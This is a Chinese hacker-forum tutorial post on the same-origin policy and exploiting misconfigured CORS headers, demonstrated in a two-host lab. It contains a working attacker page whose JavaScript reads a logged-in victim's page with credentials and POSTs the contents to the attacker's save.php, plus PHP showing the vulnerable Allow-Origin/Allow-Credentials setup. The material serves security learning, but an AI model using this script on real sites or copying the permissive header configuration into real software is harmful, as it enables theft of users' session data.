跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

CORS跨域读取学习

0x00同源策略
SOP同源策略,该策略是浏览器的一个安全基操,如果没有同源策略,那么你打开了一个合法网站,又打开了一恶意网站。恶意网站的脚本能够随意的操作合法网站可操作资源,没有任何限制。

同源策略介绍:Same-origin policy - Wikipedia
浏览器同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读取读写对方的资源。那么何为同源:
|协议|域名|端口|是否同源
|-|-|-|-|
|相同|相同|相同|是
|不同|相同|相同|否
|相同|相同|不相同|否

1620

一个最好的例子:

你在本地手动远程读取百度的logo,以读取到的二进制数据为准。很快你就会发现不行
这都是同源策略
  • 1
  • 2

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

0x01跨域访问的一些场景

1.比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2.程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4.子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

0x03CORS漏洞的攻击流程
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true

通过指定:Access-Control-Allow-Origin允许那些来源可以跨域读取本站的资源,当Access-Control-Allow-Origin为默认的时候。允许任意来源来访问本站的资源,那么就导致了跨域读取

当站点没有指定Access-Control-Allow-Origin的时候,用户访问恶意站点的脚本,恶意站点的脚本请求站点。会被浏览器的同源策略默认拦截

当站点设置了Access-Control-Allow-Origin:*,用户访问恶意站点的脚本,恶意站点的脚本请求站点。浏览器的同源策略不起作用。因为被请求的站点允许任何来源跨域读取本站内容攻击者手法:

攻击者利用cors漏洞把A.com的orgin改成接收用户信息的在线脚本B.com,然后生成一个链接引诱受害者去点击,如果受害者正好登录了A.com 并且点击了这个链接,则会把cookie发送到B.com

实例:
物理机win7:www.a.com
Kali:www.b.com

www.a.com/cors/a.php

<?php
header("Content-Type: text/html;charset=utf-8");
if (isset($_COOKIE['demo'])){
    echo "欢迎管理员登录";
}else{
    echo '你好,游客';
}
if(isset($_GET['user'])){
    if($_GET['user']=='admin'){
        setcookie('demo','1');
    }
}
?>

www.b.com/demo.html
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://www.b.com/save.php","true");
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://www.a.com/cors/login.php","true") //request user page.
    xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
}
loadXMLDoc();
</script>
</html>

login.php没有设置Access-Control-Allow-Origin

测试如下:
自动帮我们设置了origin头

AJg1P0.md.png
 

当我们放包,继续让浏览器执行的时候

(浏览器阻止了跨域读取)

AJgaZ9.md.png
 

在login.php设置Access-Control-Allow-Origin

<?php
header("Content-Type: text/html;charset=utf-8");
header("Access-Control-Allow-Origin: http://b.com");
header("Access-Control-Allow-Credentials: true");
if (isset($_COOKIE['demo'])){
    echo "欢迎管理员登录";
}else{
    echo '你好,游客';
}
if(isset($_GET['user'])){
    if($_GET['user']=='admin'){
        setcookie('demo','1');
    }
}
?>

重新请求一下,发现返回的响应里面有(Access-Control-Allow-Origin)

PS:在浏览器执行下一步执行用burp抓包重放是可以看到响应结果的

AJRw36.png
AJRw36.png
Access-Control-Allow-Origin指是允许访问的源
Access-Control-Allow-Credentials指的是允许带上cookie访问资源

最后结果:

AJWSrF.png
AJWSrF.png
AJROCq.png
AJROCq.png

这里要注意的是,我们也可以测试下带有Access-Control-Allow-Origin: * 字段的网站是否有CORS漏洞,但是如果是如下组合,则没有漏洞,因为浏览器已经会阻止如下的配置。

AJRsDe.png
AJRsDe.png

实际上挖掘跨域资源共享的要点就是:见到有origin请求返回的响应有Access-Control-Allow-Origin,尝试修改Origin头为自己的接收地址就行,详细看下面的secqun的文章。

0x04总结
实战挖SRC例子:
secqun-前端跨域资源共享
遨游浏览器没有做同源策略
Maxthon for mac 获取保存的密码/跨域信息读取/任意文件写入 | WooYun-2015-155672 | WooYun.org

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。